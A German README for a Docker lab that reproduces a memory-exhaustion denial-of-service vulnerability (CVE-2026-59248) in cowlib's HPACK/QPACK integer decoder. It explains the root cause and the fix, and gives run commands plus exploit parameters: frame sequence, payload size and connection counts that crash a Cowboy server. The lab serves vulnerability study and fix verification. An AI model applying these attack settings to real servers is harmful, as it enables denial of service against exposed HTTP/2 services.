Reproduzierbares Docker-Lab für CVE-2026-59248: ein HPACK/QPACK-Integer-Decoder-Speichererschöpfungs-DoS in cowlib, mit Exploit-Client, Cowboy-Server und Grafana-Metriken.
Eine Ressourcenbeschränkungs-Schwachstelle in ninenines cowlib (≥ 2.0.0, < 2.19.0) ermöglicht es einem nicht authentifizierten entfernten HTTP/2- oder HTTP/3-Peer, den Speicher auf dem verwundbaren Server (oder Client) zu erschöpfen und einen Denial of Service zu verursachen.
Der HPACK- und QPACK-Decoder für präfixierte Ganzzahlen
cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, aufgerufen aus
cow_hpack:decode/2 und cow_qpack:decode_field_section/3) liest
Fortsetzungsoktette, bis er eines findet, dessen höchstwertiges Bit nicht gesetzt ist, und wertet
bei jedem Schritt Int + (Value bsl M) aus, wobei der Shift M um 7 pro
Oktett wächst. Es gibt keine Begrenzung für die Anzahl der Fortsetzungsoktette, für
die resultierende Bitbreite oder für den Wert — der Decoder verarbeitet jede kodierte
Länge, die der Peer liefert. Da Erlang-Ganzzahlen unveränderlich sind, erzeugt jedes
Zwischenergebnis Value bsl M und jede Aktualisierung des Akkumulators eine neue
Bignum-Zahl, deren Stellenzahl linear mit den bisher verarbeiteten Oktetten wächst;
über den gesamten Decode-Vorgang summiert ergibt sich eine transiente Allokation von O(n²) in
der kodierten Länge.
Eine einzige maximale HPACK-Indexed-Representation, die in einem HTTP/2-
HEADERS + CONTINUATION-Frame-Paar übertragen wird — innerhalb von Cowboys Standard-
max_frame_size_received — kann hunderte Megabyte an transienter
Allokation und Garbage-Collection-Aufwand erzwingen, bevor der resultierende Header-Tabellen-
Index als ungültig zurückgewiesen wird. Wiederholte oder gleichzeitige Verbindungen vervielfachen
den Druck und können die Erlang-VM bis zur Speichererschöpfung treiben.
Cowlib ist der HTTP-Parser, der von Cowboy, dem Management-Plugin von RabbitMQ und anderen Erlang/Elixir-HTTP/2- und HTTP/3-Servern und -Clients verwendet wird, sodass jeder exponierte Endpunkt, der HPACK oder QPACK von einem nicht vertrauenswürdigen Peer akzeptiert, erreichbar ist.
Fix: cowlib 2.19.0 fügt eine when M < 32-Guard zu dec_big_int/3 hinzu,
die überdimensionierte Ganzzahlen nach wenigen Oktetten zurückweist.
Dieses Lab spielt den Angriff (Preface → SETTINGS → HEADERS → CONTINUATION
mit einer überdimensionierten 0xFF…-HPACK-Ganzzahl) gegen einen echten Cowboy-Server nach und
erfasst den BEAM-Speicherausschlag in Prometheus/Grafana — vor und nach
dem Anwenden des Patches.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy pinnt eine exakte cowlib-Version fest: cowboy 2.17.0 liefert die verwundbare
cowlib 2.18.0 aus (cowboy 2.18.0 bündelt die korrigierte cowlib 2.19.0). Dieses Lab
erzwingt cowlib mit override: true, sodass die Demonstration von Schwachstelle zu Fix
eine einzeilige Änderung in server/mix.exs ist.
| Dienst | URL |
|---|---|
| Cowboy-Server | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| Server /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
Das Grafana-Dashboard "cowlib 2.18.0 HPACK memory DoS" wird automatisch bereitgestellt (keine manuelle Einrichtung von Datenquelle oder Panels).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
Ports: Der Stack veröffentlicht die Host-Ports
8080(Cowboy),9090(Prometheus),3000(Grafana). Stelle sicher, dass diese vor dem Start frei sind, und führe den Exploit-Client jedes Mal erneut mitdocker compose run --rmaus — der Compose- Dienst läuft einmal und beendet sich.
| Variable | Standardwert | Wirkung |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | Anzahl der 0xFF-Oktette in der HPACK-Ganzzahl (512-KB-Bombe; das max_fragmented_header_block_size des Servers erlaubt bis zu 1 MB). |
NUM_CONCURRENT | 100 | gleichzeitige asynchrone Verbindungen — jede bleibt für ATTACK_KEEPALIVE_SECS am Leben und dekodiert. Erhöhe auf 200+, um den Server-Container zuverlässig per OOM (über 1g) zu beenden. |
SOCKET_TIMEOUT | 15 | Sekunden für jeden Verbindungs-Handshake |
ATTACK_KEEPALIVE_SECS | 60 | wie lange jede Verbindung nach dem Senden am Leben bleibt |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | Ziel |